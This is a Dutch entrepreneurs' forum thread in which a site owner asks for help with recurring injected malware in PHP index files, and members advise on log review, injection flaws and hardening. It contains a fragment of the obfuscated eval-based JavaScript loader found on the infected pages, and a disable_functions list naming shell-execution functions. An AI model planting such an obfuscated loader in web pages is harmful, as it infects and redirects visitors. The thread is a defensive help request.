• 0

Iemand met veel verstand van php scripts en server beveiliging!

Is eigenlijk niet de plaats om mijn problemen hier voor te leggen, maar ik zou graag aan alle leden van HL willen vragen of ze wellicht iemand kennen die erg handig is met PHP, virus scripts in PHP en server beveiliging.

 

Het volgende is het geval namelijk:

 

Bij enkele websites van mij ( gebouwd in PHP) heb ik ongelofelijk last van een virus script.

De websites staan op verschillende servers bij verschillende providers, het enige wat ze gemeen hebben is dat het PHP websites zijn.

 

Het script nestelt zich alleen in de index files van de website ( index.php / index.html / index2.html etc.)

Het gecodeerde script zorgt voor erg schadelijke virussen op de pc’s van gebruikers en doorlinks naar rare websites zoals “mysexydreams.net”

 

We hebben de scripts proberen te verwijderen, maar na enkele uren / een dag stond het er weer op..

Ook hebben we geprobeerd de CHMOD aan te passen naar 444, maar ook dit werd weer terug gezet.

 

Ik heb enkele van de websites offline moeten gooien, omdat de ellende niet te overzien was.

Of de hacker nu via ftp ofzo toegang krijgt is mij niet duidelijk.

 

Heeft iemand enig idee wat we hieraan kunnen doen, een script dat zich in index. .. nestelt en steeds terugkeert..

Kunnen we ons beveiligen?

 

Link naar reactie

Aanbevolen berichten

  • 1
Cyber Security Adviseur
Cyber Security Adviseur

Je hebt waarschijnlijk last van 'code injection', wat betekent dat je ergens een GET of POST niet voldoende controleert of er misschien php of SQL code in zit.

 

De manier om dit uit te zoeken is in je logs al je GET en POST requests na te lopen en kijken wat voor gekkigheid daar voorbij komt. Zodra je daar de vreemde eend hebt gevonden, kun je dan zoeken waar het lek zit.

Link naar reactie
  • 0

Heeft iemand enig idee wat we hieraan kunnen doen

 

Wachtwoorden wijzigen, log files checken, applicatiecode nalopen op checken en gebruiken van extern ingevoerde gegevens, directe toegang tot database server via Internet checken en zonodig afsluiten, ftp-toegang e.d. inperken, software updaten.

 

Elke vakbekwame software engineer die weleens een webapplicatie heeft gebouwd en een webserver heeft ingericht moet dat kunnen doen.

Link naar reactie
  • 0

Wat je in ieder geval kunt doen om het probleem tijdelijk op te lossen is er voor te zorgen dat alle gevaarlijke commando's niet meer werken. Dit kun je doen door de PHP configuratie te wijzigen door bijvoorbeeld .htaccess te gebruiken, of zelf de PHP code aan te passen en alle gevaarlijke dingen te verwijderen.

 

Het snelst gaat het via disable_functions, maar let wel op met servers waar meerdere website op draaien, sommige functies kunnen door andere websites legitiem gebruikt worden. Met het volgende stukje code ben je van de meest onveilige functies af, maar daarna moet je zeker nog je script door een goede programmeur laten controleren. Als code injection mogelijk is, dan zal het met andere mogelijkheden van misbruik ook niet al te best zijn.

 

disable_functions = "dl,phpinfo,shell_exec,passthru,exec,popen,system,

proc_get_status,proc_nice,proc_open,proc_terminate,proc_close"

 

@Christine, Onveilige code is overal in te schrijven, niet alleen in scripting talen. Maar die discussie hebben we volgens mij al een aantal keer gevoerd op HigherLevel.

 

 

 

Link naar reactie
  • 0

 

Zo'n site levert een hoop ellende op niet alleen voor de eigenaar van de site maar ook voor bezoekers. Wie weet waar die allemaal hun pc mee besmetten door het bezoek aan je site. Ik vind het dan ook onverantwoord om sites te bouwen in een scripting taal als PHP, als je niet in staat bent om die site voldoende veilig te maken.

 

Beste Cristine, ik denk dat je niet te snel mag oordelen over dit probleem, als je niet genoeg informatie hebt.

De problemen die wij ondervinden zijn zo onbekend dat een speciaal team van hoster leaseweb zich inmiddels al een aantal dagen buigt over de materie.

 

ik respecteer je bijdrage aan deze discussie, maar vindt deze van onwetend niveau...

Link naar reactie
  • 0

Heeft iemand enig idee wat we hieraan kunnen doen

 

Wachtwoorden wijzigen, log files checken, applicatiecode nalopen op checken en gebruiken van extern ingevoerde gegevens, directe toegang tot database server via Internet checken en zonodig afsluiten, ftp-toegang e.d. inperken, software updaten.

 

Elke vakbekwame software engineer die weleens een webapplicatie heeft gebouwd en een webserver heeft ingericht moet dat kunnen doen.

BEdankt voor je reactie voor je bijdrage, bovenstaande werkzaamheden hebben we natuurlijk al lang gedaan, en is overigens ook geen oplossing voor het probleem.

 

Link naar reactie
  • 0

Ik heb jaren lang php geprogrammeerd.

Ik vermoedt dat je hier structureel onveilige php code hebt geïmplementeerd.

Het opnieuw instellen van je PHP configuratie is een leuke tijdelijke oplossing, maar vaak beperkt het je tegelijk ook jezelf in bepaalde php functies.

Ik heb een vermoeden dat al je website gevoelig zijn voor cross-side scripting.

Dit is een veel gemaakte programmeerfout die zeer vervelende gevolgen kan hebben.

Op die manier kan zonder dta je het weet jou webserver misbruikt worden voor criminele toepassingen en het vervelende is dat jij daar bij de politie voor op het matje moet komen. Het is tenslotte jou server.

 

 

Ik ben bang dat ik broncode van je moet hebben om het op te kunnen lossen.

Als je me een url of IP adres geeft van de betreffende website(s), dan kan ik kijken of er XSS is toe te passen

 

Webdeveloper, Electrical Engineering, Prototype builder, Kickstarter

www.spruce.nl | www.twitter.com/spruceNL

Link naar reactie
  • 0

bovenstaande werkzaamheden hebben we natuurlijk al lang gedaan

 

Aha, had dat dan even verteld.

 

En... welke requests voeren de boosdoeners zoal uit, en welke kwetsbaarheden heb je gevonden in de broncode?

 

ja sorry, dat had ik idd even moeten vertellen...

De opdrachten zijn random en verschillen van het doorlinken naar bijvoorbeeld een porno website en het inzetten van virussen op pc's.

Link naar reactie
  • 0

Ik heb jaren lang php geprogrammeerd.

Ik vermoedt dat je hier structureel onveilige php code hebt geïmplementeerd.

Het opnieuw instellen van je PHP configuratie is een leuke tijdelijke oplossing, maar vaak beperkt het je tegelijk ook jezelf in bepaalde php functies.

Ik heb een vermoeden dat al je website gevoelig zijn voor cross-side scripting.

Dit is een veel gemaakte programmeerfout die zeer vervelende gevolgen kan hebben.

Op die manier kan zonder dta je het weet jou webserver misbruikt worden voor criminele toepassingen en het vervelende is dat jij daar bij de politie voor op het matje moet komen. Het is tenslotte jou server.

 

 

Ik ben bang dat ik broncode van je moet hebben om het op te kunnen lossen.

Als je me een url of IP adres geeft van de betreffende website(s), dan kan ik kijken of er XSS is toe te passen

 

 

ik zal je het een en ander qua informatie in de pm sturen, bedankt voor je reactie

Link naar reactie
  • 0
Cyber Security Adviseur
Cyber Security Adviseur

ja sorry, dat had ik idd even moeten vertellen...

De opdrachten zijn random en verschillen van het doorlinken naar bijvoorbeeld een porno website en het inzetten van virussen op pc's.

Dat is niet de vraag. De vraag is hoe de bijzondere GET / POST requests eruit zien. Op basis daarvan kun je zien waar de 'code injection' plaats vindt.

 

Overigens: heb je niet toevallig phpbb op die sites draaien?

Link naar reactie
  • 0

nee helaas, geen phpbb websites draaien..

 

Het script is waarschijnlijk gecodeerd, hebben al meerdere mensen naar gekeken.

Het script ziet er als volgt uit ( net na de eerste bodytag)

 

46,55,34,27,36,21,19,54,24,33,

25,44,13,40,48,60,9,37,53,16,0,0,0,0,35,0,26,7,4,17,62,2,1,52,18,3,41,6,39,38,0,58,45,43,28,49,51,14,5,42,12,20);

for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<>=8;w-=2}else{w=6}}}eval(h);}}nlbnb25('2Dytv7sHcnqHCE9HQ5Q_G7ytDHOKv7sB55VucESP2_9U80R@Sa3Uy_9Bb0RI

c1VtD5kmy0snJBkIQ_2B7ITU8EqNZ6OPinqND0Rucvyty7sP87OXSl43CEqUc

I2t5MRuf8eB8CyPO1ytv7VtfvF@OvQn2B3@gNTmy0snJBQ_gNFIAN9UvEqU7pQnOxTUDDsufE9XsAkIQE9hl0VXFpVUQrqtCDSKc7ytD_FX664Uy_9Bb0yXSvF')

 

 

Link naar reactie
  • 1

Nogmaals, je moet niet zozeer kijken naar de geplaatste malware, maar naar:

 

1. De broncode van de applicatie (want daarin zit vermoedelijk een lek als sql-injection of cross-site scripting).

 

2. De logfile van de webserver (want daarin staan misschien opvallende POST/GET requests, die een aanwijzing geven waar het lek zit).

 

Net als bij een lekke band: je onderzoekt de band met het lek, niet de lucht die door het lek stroomt :)

Link naar reactie
  • 0

nee helaas, geen phpbb websites draaien..

 

Het script is waarschijnlijk gecodeerd, hebben al meerdere mensen naar gekeken.

Het script ziet er als volgt uit ( net na de eerste bodytag)

 

Dat is niet de vraag van Steven, en denk ik niet dat je de problemen in Javascript moet zoeken. Steven vroeg:

 

De manier om dit uit te zoeken is in je logs al je GET en POST requests na te lopen en kijken wat voor gekkigheid daar voorbij komt. Zodra je daar de vreemde eend hebt gevonden, kun je dan zoeken waar het lek zit.

 

Dat is het eerste wat elke webhoster of programmeur zou doen, kijken wat er precies gebeurd met behulp van de logging. Als je dat nu eerst uit zoekt, dan weet je in ieder geval wat er fout gaan.

Link naar reactie
  • 1

Beste Cristine, ik denk dat je niet te snel mag oordelen over dit probleem, als je niet genoeg informatie hebt.

De problemen die wij ondervinden zijn zo onbekend dat een speciaal team van hoster leaseweb zich inmiddels al een aantal dagen buigt over de materie.

 

Je veronderstelt dat een "speciaal team van Leasweb" deskundig is op dit gebied. Feit is dat jij iets maakt in PHP en dat je inbraken op je scripts krijgt die anderen niet krijgen. Dan doe je iets fout. Het feit dat je dan hier om advies moet vragen laat zien dat je geen expert bent op het gebied van PHP, want dan vroeg je het op een forum voor PHP programmeurs. En zoals je weet of had kunnen weten waarschuw ik op HL regelmatig voor het maken van PHP scripts door mensen die daar geen verstand van hebben, juist vanwege het soort gevolgen waar jij nu mee wordt geconfronteerd.

 

Iedere server op het internet wordt om de zoveel seconden benaderd door een malafide script dat probeert in te breken om een virus of trojan te installeren. Zo'n script weet de honderd meest voorkomende fouten die een PHP programmeur maakt, en ziet dan kans in te breken als inderdaad zo'n fout is gemaakt. Jij hebt een grote fout in je script, en iedere keer dat je site online is komt er zo'n aanvaller voorbij om z'n malware te installeren. Ik denk dat het niet eens steeds dezelfde is, maar dat het steeds een andere bot is die de fout herkent die in jouw site zit en er gebruik van maakt. De kans is groot dat het om een spam bot gaat die bezoekers van jouw site infecteert met zombie software waar spammers gebruik van maken.

 

Wat jouw site verkeerd doet is wat iemand anders hierboven al heeft opgemerkt, dat je site code van buiten accepteert en uitvoert. Dat kan zijn via een invoerveld of een zoekveld op je site, het kan ook zijn dat ze een script toevoegen in de url en dat jouw programma dat script klakkeloos uitvoert. Bedenk wel dat deze aanvallers heel inventief zijn en dat er heel rare manieren zijn om in een site binnen te komen.

 

Als dit alleen gevolgen voor jou en je site zou hebben zou ik misschien niet eens gereageerd hebben. Maar het feit dat iedere bezoeker van je site een besmette computer oploopt vind ik toch wel ernstig. Er zijn al heel wat namen voorbij gekomen van mensen die verstand hebben van PHP, en ik weet zeker dat ieder van die mensen je binnen een uur kan vertellen wat er fout is.

 

 

Link naar reactie
  • -2

@Christine, Onveilige code is overal in te schrijven, niet alleen in scripting talen. Maar die discussie hebben we volgens mij al een aantal keer gevoerd op HigherLevel.

 

Het grootste probleem van scripting talen is code injection, en dat is niet mogelijk als je b.v. java servlets gebruikt. Ik heb een site die SOAP en AJAX gebruikt, en daar kan ook geen code injection plaatsvinden. Ik adviseer altijd om een site niet in PHP te maken maar in Java.

 

 

Link naar reactie
  • 0

Het grootste probleem van scripting talen is code injection, en dat is niet mogelijk als je b.v. java servlets gebruikt. Ik heb een site die SOAP en AJAX gebruikt, en daar kan ook geen code injection plaatsvinden. Ik adviseer altijd om een site niet in PHP te maken maar in Java.

 

Met scripting kun je niet zo maar code injection toepassen, een programmeur die weet wat hij doet maakt PHP net zo veilig als Java. Het probleem zit in de aanroep van bijvoorbeel shell commando's waar de invoer van de gebruik niet goed wordt gecontroleerd. Veilige code krijg je niet door gebruik van Java, veilige code krijg je door de juiste kennis bij de programmeur. In Java kun je ook gewoon een Runtime.getRuntime().exec(cmd_elements); doen en op die manier code hacken. Het lijkt me echter onzinnig om die discussie voor de zoveelste keer herhalen. Volgens mij waren we de volgende keren het er al over eens dat we een verschil van mening hadden. Jij vindt PHP per definitie onveilig, ik vind dat het aan de programmeur ligt. Wel ben ik met je eens dat de drempel van het programmeren in PHP dusdaning laag ligt, dat veel mensen zonder kennis erg snel aan de slag kunnen zonder dat ze precies weten wat ze doen.

Link naar reactie
  • 0
Cyber Security Adviseur
Cyber Security Adviseur

@Christine, Onveilige code is overal in te schrijven, niet alleen in scripting talen. Maar die discussie hebben we volgens mij al een aantal keer gevoerd op HigherLevel.

 

Het grootste probleem van scripting talen is code injection, en dat is niet mogelijk als je b.v. java servlets gebruikt. Ik heb een site die SOAP en AJAX gebruikt, en daar kan ook geen code injection plaatsvinden. Ik adviseer altijd om een site niet in PHP te maken maar in Java.

Code injection is net zo goed mogelijk met gecompileerde code, als er bijvoorbeeld eens een keer een SQL where niet goed gecontroleerd wordt. Ook kan het zijn dat er sprake is van bijvoorbeeld een buffer overflow waardoor de injection plaatsvindt via de httpd ipv via de scripttaal.

 

Ik heb veel meer vertrouwen in een PHP script waar bij de ontwikkeling vanaf het begin rekening is gehouden met code injection dan in een Java site die geschreven is door iemand die als uitgangspunt gebruikt dat het platform veilig is!

Link naar reactie
  • 2
Ik vind het dan ook onverantwoord om sites te bouwen in een scripting taal als PHP, als je niet in staat bent om die site voldoende veilig te maken.

 

Los van het feit dat deze opmerking werkelijk niets bijdraagt aan het onderwerp is het weer een herhaling van een misvatting die je hier maar eindeloos blijft ventileren, ondanks dat je stelling net zo vaak helemaal onderuit gehaald is.

 

Hou daar nou eens mee op, alstjeblieft. Voor het volgende onderwerp waarin PHP aan de orde komt heb ik een tip voor je:

Zen is het vermogen je mond te houden als idereen denkt dat je iets gaat zeggen

Link naar reactie
  • -1

Los van het feit dat deze opmerking werkelijk niets bijdraagt aan het onderwerp is het weer een herhaling van een misvatting die je hier maar eindeloos blijft ventileren, ondanks dat je stelling net zo vaak helemaal onderuit gehaald is.

 

Wat ik zei is dat je geen sites moet bouwen als je niet weet hoe je een veilige site moet bouwen, en al helemaal niet als je daardoor bezoekers van je site dupeert.

 

 

Link naar reactie
Gast
Dit topic is nu gesloten voor nieuwe reacties.
Hide Sidebar
  • Wil je onze Nieuwsflits ontvangen?
    Deze verzenden we elk kwartaal.

  • Wie is er online?
    8 leden, 261 Gasten

  • Breng jouw businessplan naar een higher level!

    Op dit forum worden alle onderwerpen m.b.t. ondernemerschap besproken.

    • Stel jouw ondernemersvragen
    • Antwoorden/oplossingen van collega ondernemers
    • > 75.000 geregistreerde leden
    • > 100.000 bezoekers per maand
    • 24/7 bereikbaar / binnen < 6 uur antwoord
    •  Altijd gratis

  • Ook interessant:

    Ook interessant:

×
×
  • Nieuwe aanmaken...

Cookies op HigherLevel.nl

We hebben cookies geplaatst op je toestel om deze website voor jou beter te kunnen maken. Je kunt de cookie instellingen aanpassen, anders gaan we er van uit dat het goed is om verder te gaan.